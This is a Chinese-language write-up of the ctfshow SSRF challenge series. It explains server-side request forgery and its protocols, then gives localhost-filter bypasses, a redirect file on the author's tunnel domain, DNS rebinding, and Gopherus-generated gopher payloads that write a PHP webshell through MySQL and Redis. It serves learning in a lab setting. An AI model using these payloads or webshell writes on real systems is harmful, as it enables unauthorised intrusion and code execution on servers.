目录

  1. 1. 基础
    1. 1.1. 代码实现
  2. 2. 协议利用
    1. 2.1. http
    2. 2.2. dict
    3. 2.3. file
    4. 2.4. gopher
  3. 3. 绕过
    1. 3.1. 等价替换
    2. 3.2. 利用Enclosed alphanumerics
    3. 3.3. 302跳转
      1. 3.3.1. a记录
      2. 3.3.2. 远程访问重定向文件
      3. 3.3.3. DNS Rebinding
  4. 4. 实战
    1. 4.1. web351
    2. 4.2. web352
    3. 4.3. web353
    4. 4.4. web354
    5. 4.5. web355
    6. 4.6. web356
    7. 4.7. web357
    8. 4.8. web358
    9. 4.9. web359(ssrf打无密码mysql)
      1. 4.9.1. gopherus一把梭
    10. 4.10. web360(ssrf打redis)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow SSRF专题

2023/7/1 Web SSRF ctfshow
  |     |   总文章阅读量:

基础

参考文章:https://blog.csdn.net/ing_end/article/details/124369282

SSRF(Server-Side Request Forgery,服务端请求伪造),攻击者通过在目标服务器上伪造请求,让服务器发起对内部网络或者其他外部网络资源的请求

互联网上的很多web应用提供了从其他服务器(也可以是本地)获取数据的功能。使用用户指定的URL,web应用可以获取图片(载入图片)、文件资源(下载或读取)。如果链接可以访问任意请求,则存在ssrf漏洞(这不就是任意读吗)

代码实现

让服务器根据用户的输入去发起一个http请求即可

在服务器端实现通过URL从服务器(外部或者内部)获取资源功能的方法有很多,此处使用PHP语言和curl扩展实现该功能

<?php
if (isset($_REQUEST['url'])) {
    $link = $_REQUEST['url'];
    $filename = './ curled/ ' . time() . '.txt';
    $curlobj = curl_init($link); //创建一个新的curl会话
    $fp = fopen($filename, "w");
    curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_setopt($curlobj, CURLOPT_POLLOWLOCATION, TRUE);
    //curl的一些配置
    curl_exec($curlobj); //发送$link这个请求
    curl_close($curlobj); //curl关闭
    fclose($fp); //文件关闭
    $fp = fopen($filename, "r");
    $result = fread($fp, filesize($filename));
    fclose($fp);
    echo $result;
} else {
    echo " ?url	=[url] ";
}

发送get请求?url=baidu.com即可载入百度首页的资源

注:PHP原生类SoapClient在触发反序列化时也可导致SSRF


协议利用

http

访问正常的文件,提交参数

?url=http://www.baidu.com/robots.txt

可以用来探测内网主机存活

dict

当访问未开放端口,脚本会显示空白或者报错。提交参数

?url=dict://127.0.0.1:1234

可以泄露安装软件版本信息,查看端口,操作内网redis服务等

file

利用file协议可以任意读取系统本地文件

?url=file:///flag.php

gopher

gopher支持发出GET、POST请求

可以先截获get请求包和post请求包,再构造成符合gopher协议的请求

是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

gopher://<host>:<port>/<gopher-path>_后接TCP数据流

绕过

等价替换

127.0.0.1==localhost==0.0.0.0==0==127.127.127.127==0x7F.0.0.1==0177.0.0.1==2130706433==0x7F000001==127.1==127。0。0。1==127.0.0.任意数字

利用Enclosed alphanumerics

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

生成脚本(by yu22x):

for i in range(128,65537):    
    tmp=chr(i)    
    try:        
        res = tmp.encode('idna').decode('utf-8')        
        if("-") in res:            
            continue        
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))    
    except:        
        pass

302跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。

例:对http://xip.io ,当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1

a记录

修改自己域名的a记录,改成127.0.0.1

a记录:将一个域名映射到一个 IPv4 地址的 DNS 记录,通常用于将域名转换为 IP 地址

已知a记录指向127.0.0.1的网站http://sudo.cc/

远程访问重定向文件

在自己vps上写一个ssrf.php,起http服务来访问

<?php
header("Location:http://127.0.0.1/flag.php");

DNS Rebinding

流程:

  1. 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

  2. 对于获得的IP进行判断,发现为非黑名单IP,则通过验证

  3. 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

  4. 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

相关网站:http://ceye.io/

先注册一个账号然后点击Profile,在最下面的DNS-REBINDING选择要绑定的dns即可,一般是127.0.0.1

最后取你的Identifier作为payload:(注:最前面加r)

url=http://r.Your_Identifier/flag.php

如果给的域名中有0或者1就不可以了


实战

web351

进入题目,看到源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);	// 初始化一个cURL会话
curl_setopt($ch, CURLOPT_HEADER, 0);	// 设定返回信息中包含响应信息头,启用时会将头文件的信息作为数据流输出。参数为1表示输出信息头,为0表示不输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);	// 设定curl_exec()函数将响应结果返回,而不是直接输出。参数为1表示$result,为0表示echo $result
$result=curl_exec($ch);	// 执行一个cURL会话
curl_close($ch);	// 关闭一个curl会话
echo ($result);
?> 

猜测flag在flag.php文件中,这题先尝试直接访问flag.php

返回 “非本地用户禁止访问”,试了一下改xff头没用

那就是要让我们以本地用户去访问,即以127.0.0.1访问

发送POST请求,利用index.php中的curl命令获取flag

payload:

url=http://127.0.0.1/flag.php

web352

进入题目,看到源码

flag还是在flag.php中

我这里格式化了一下方便审计

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    if (!preg_match('/localhost|127.0.0/')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($ch);
        curl_close($ch);
        echo ($result);
    } else {
        die('hacker');
    }
} else {
    die('hacker');
}
?>

parse_url函数解析了我们传入的参数,然后加了点过滤

要求我们必须使用http或者https协议

过滤了localhost127.0.0

那么这里我们可以考虑用进制转换绕过,或者使用等效本地访问的几个ip,如0.0.0.0

payload:

url=http://0x7F.0.0.1/flag.php   16进制
url=http://0177.0.0.1/flag.php    8进制
url=http://0.0.0.0/flag.php
url=http://0/flag.php
url=http://127.127.127.127/flag.php

web353

进入题目,看到源码

flag还是在flag.php中

格式化一下

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    if (!preg_match('/localhost|127\.0\.|\。/i', $url)) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($ch);
        curl_close($ch);
        echo ($result);
    } else {
        die('hacker');
    }
} else {
    die('hacker');
}
?>

加了更多的过滤

正则匹配”localhost”、”127.0.”或者”。”

那还是和上题一样绕过即可

payload:

十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1CIDR绕过localhost
url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php

web354

进入题目,看到源码

flag还是在flag.php中

格式化一下

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    if (!preg_match('/localhost|1|0|。/i', $url)) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($ch);
        curl_close($ch);
        echo ($result);
    } else {
        die('hacker');
    }
} else {
    die('hacker');
}

又改了过滤

检测是否包含 “localhost”、”1”、”0” 或者 “。”

那么之前的payload就全部不可用了

所以这里需要利用Enclosed alphanumerics或者DNS Rebinding,但是题目好像不支持Enclosed alphanumerics

于是这里只能用DNS Rebinding来绕过

payload:

url=http://sudo.cc/flag.php

web355

进入题目,看到源码

flag还是在flag.php中

格式化一下

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    $host = $x['host'];
    if ((strlen($host) <= 5)) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($ch);
        curl_close($ch);
        echo ($result);
    } else {
        die('hacker');
    }
} else {
    die('hacker');
}
?>

没过滤了,但是要求我们输入的url的host段长度小于等于5(不清楚什么是host段请移步parse_url函数

把前面几题payload的host段长度小于等于5的部分拿过来用就行

payload:

url=http://0/flag.php
url=http://127.1/flag.php

web356

进入题目,看到源码

flag还是在flag.php中

格式化一下

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    $host = $x['host'];
    if ((strlen($host) <= 3)) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($ch);
        curl_close($ch);
        echo ($result);
    } else {
        die('hacker');
    }
} else {
    die('hacker');
}
?>

要求host段长度小于等于3

一把梭了

0在linux系统中会解析成127.0.0.1在,windows中解析成0.0.0.0

payload:

url=http://0/flag.php

web357

进入题目,看到源码

flag还是在flag.php中

格式化一下

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    $url = $_POST['url'];
    $x = parse_url($url);
    if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
        $ip = gethostbyname($x['host']);
        echo '</br>' . $ip . '</br>';
        if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
            die('ip!');
        }


        echo file_get_contents($_POST['url']);
    } else {
        die('scheme');
    }
    ?>
  • gethostbyname:

    返回主机名对应的IPv4地址

    这个函数会获取真实ip,所以域名指向方法不能再使用,可以使用 302 跳转方法和 dns rebinding 方法

  • filter_var():

    # php filter函数
    filter_var()	获取一个变量,并进行过滤
    filter_var_array()	获取多个变量,并进行过滤
    ......
    # PHP 过滤器
    FILTER_VALIDATE_IP	把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围
    FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4IPV6 值。

    所以这题过滤的ip如下:

    image-20231106221944309

而我内网穿透域名的映射ip不在这范围内,所以可以打

先在虚拟机上起php http服务,写一个ssrf.php

<?php 
header("Location: http://127.0.0.1/flag.php");
?>

把文件重定向flag就行

url=http://76135132qk.imdo.co/ssrf.php

也可以用dns重绑定

url=http://r.Your_Identifier/flag.php

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

用parse_url解析,然后是朴实无华的正则匹配,要求以http://ctf.开头,show结束

根据parse_url的特性构造payload即可

url=http://ctf.@127.0.0.1/flag.php?show

web359(ssrf打无密码mysql)

打无密码的mysql

进入题目,是一个登录界面

抓包到一个check.php

image-20231106230040202

这里有一个returl,猜测ssrf的点在这里

提示是打无密码mysql,这里属于是内网的范畴了

参考文章:https://berl1n.blog.csdn.net/article/details/103026470

无密码认证时直接发送TCP/IP数据包即可连接mysql服务器

所以要使用gopher协议去打mysql

gopherus一把梭

github仓库:https://github.com/tarunkant/Gopherus

用法:打的什么服务就用什么类型的exp

image-20231107204436440

这里我们直接执行

gopherus --exploit mysql

一般我们需要打下来的mysql服务的用户名都为root

然后在要执行的sql语句里写马getshell

image-20231107204737687

这样就生成了我们的payload

注:传入payload时需要把_后面的数字再url编码一次,防止出现特殊字符,后端curl接收到参数后会默认解码一次,浏览器也会解码一次,所以总共要编码两次

gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%34%36%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%32%32%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%33%31%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%32%32%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%32%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30%25%32%32%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31

然后访问1.php命令执行即可


web360(ssrf打redis)

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?> 

和web351一样的源码,但是这一次提示要我们打redis

而ssrf打redis最经典的就是未授权访问

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器

我们先用dict协议探测一下端口

url=dict://127.0.0.1:6379/

返回报错-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP +OK

说明存在redis

这里继续用gopherus一把梭

image-20231107211242399

然后访问shell.php,命令执行即可

image-20231107211428442